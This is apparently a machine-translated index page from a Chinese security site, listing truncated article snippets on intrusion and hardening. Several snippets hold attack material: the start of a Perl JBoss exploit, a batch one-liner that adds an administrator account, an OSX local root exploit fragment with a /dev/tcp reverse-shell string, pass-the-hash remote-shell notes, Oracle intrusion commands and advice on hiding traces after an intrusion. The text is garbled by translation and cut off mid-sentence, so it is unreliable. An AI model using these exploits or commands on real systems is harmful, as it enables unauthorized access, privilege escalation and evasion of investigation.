UNIX/Linux RHEL6.3 root password cracking, GRUB Encryption

Lab environment: 1,RootHow to recover password loss Start the instance, press any key to enter GRUB mode, and press "e" to edit GRUB www.2cto.com. Select the kernel part of the second line and press "e" to enter the editing mode. Enter sulinux = 0

[Log on to Windows directly using Hash] Simple Analysis

Because msf uses exploit/windows/smb/export xecloud, you should have some contact with the corresponding xec.exe in pstool. In other words, mongoxec.exe can remotely connect to obtain an interactive mongoshell, C: \ Documents and Settings \

Is the PHP5 suffix required for LNMP security configuration?

By default, lnmp resolves the php5 suffix. If your program does not use the php5 suffix, it is best to remove it. Locate the following configuration section location ~ . * \. (Php | php5 )? $ {Try_files $ uri = 404; fastcgi_pass

Analysis and utilization of JBoss worms

Let's talk about a little thing recently. JBOSS worm... First, send an exp #! /Usr/bin/perluse IO: Socket; print "JBoss Exp... \ n"; if (@ ARGV! = 2) {print "perl $0 & lt; IP & gt; & lt; Port & gt; \ n"; exit ;}$ ip = $ ARGV [0]; $ port = $ ARGV [1];

Obtain the highest system permissions manually

By chance, this method has been still thinking about how those programs obtain system permissions, for example: ser-u except those exp. 1. End the explorer process taskkill/f assumer.exe/im under the command line. Use the scheduled task to start the

Win32 non-mainstream protection against log deletion

We need to record these messy records so that we don't need them again...Although a little busy with the taste of the sheep, it is better than nothing to do after the invasion, nowhere to trace ..Through the analysis of IP records and system logon

Apache Hadoop Remote Command Execution

The management web end of hadoop, hbase, and hdfs0.2 RC can remotely execute commands and distribute tasks to cluster servers through this node (this is a basic function, of course, you can perform batch Elevation of Privilege for linux Hosts) to

Solution to failure to capture hash in win7

Many people say that Windows 7 cannot catch hash. Google, the first one is my red League bbs: Open and take a look: I was scared by the reply from A11 .. Http://bbs.cnhonker.com/forum.php? Mod = redirect & goto = findpost & ptid = 6463 &

H3C 802.1X client Remote Buffer Overflow

The H3C 802.1X client does not validate the key data, causing the buffer to overflow the sub_4030E0 function. The memcpy function is called at 4031F6. If the buffer length field of the memcpy function is maliciously constructed, the poc code is as

Another method for adding users to a dongle

I found it a few days ago. It's just a little Speechless because it's easy .. Directly use For/l % I in (1000,) do @ net user test/add & @ net localgroup administrators test/add Save as ad. bat For/l % I in (1000,) do @ net user test/add & @ net

Root password cracking in linux

Sometimes, when we forget the root password, this will bring us great inconvenience, but through some system settings we can eliminate the root password, but I think the premise is that you have to be able to access the root user. Step into the

Graphic Tutorial: cleverly set up anti-illegal user login to the server

How can we prevent illegal users from logging on to our server? This problem has plagued too many people. websites have been infiltrated. The next step for hackers is to escalate permissions. Elevation of Privilege is to increase the WEB backdoor

OpenSSH User Enumeration Time-Based Attack

Today, we will show a bug concerning OpenSSH. openSSH is the most used remote control software nowadays on * nix like operating systems. legacy claims it replaced unencrypted daemons like rcp, rsh and telnet. find a version: https://www.openssh.com .

Oracle intrusion Parsing

Oracle intrusion information is rarely seen on the Internet. Recently, I learned Oralce and wrote it ~ -- Change password:ALTER USER SYS IDENTIFIED BY NEWPASSWORD-- NEWPASSWORD: New Password -- Activate the user;Alter user username account unlock;-

Linux non-interactive shell penetration technique

Recently, a vulnerability has been prevalent in many websites around the world. This vulnerability has not been fixed and can be directly assigned administrator privileges. For windows 3389 directly, it takes some time to add an administrator

Protection Method chapter 1 (Virtual Machine proxy transfer server settings)

Next I will share my VM settings First, my host is Linux, and the virtual machine software is open-source VirtualBox.Proxy Server:First, create a virtual machine, system Windows2003Enable two NICs (Setting-> Network-> Adapter1 and Adapter2, and then

How to create a secure "remember me" Function

In this scenario, a user first visits your website and logs on to it. However, the user logs on again the next day. So there is a feature like "remember me" to make it easier for users to use. However, there is something self-evident, that is, the

OSX & lt; = 10.8.4-Local Root Priv Escalation (py)

#! /Usr/bin/python # Original MSF Module :# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudo_password_bypass.rb ######################################## ################### Title: OSX &/dev/tcp/% s 0> & 1 &

Windows special File Name Vulnerability

Folder Name VulnerabilityC: \ test \ wooyun> md \\. \ c: \ test \ wooyun \ com1.wooyun Device Name Vulnerability c: \ test \ wooyun> md \\. \ c: \ test \ wooyun \ com1.wooyunThe Created directory, which cannot be deleted. In WIndows2003 and earlier

Linux File Protection prohibits modification, deletion, and moving of Files

Users are not allowed to modify or delete files, use chattr + I to protect [root @ 80 uncle/] # chattr + I/etc/passwd [root @ 80 uncle/] # chattr + I/etc/shadow [root @ 80 uncle /] # chattr + I/etc/group [root @ 80 uncle/] # chattr + I/etc/gshadow

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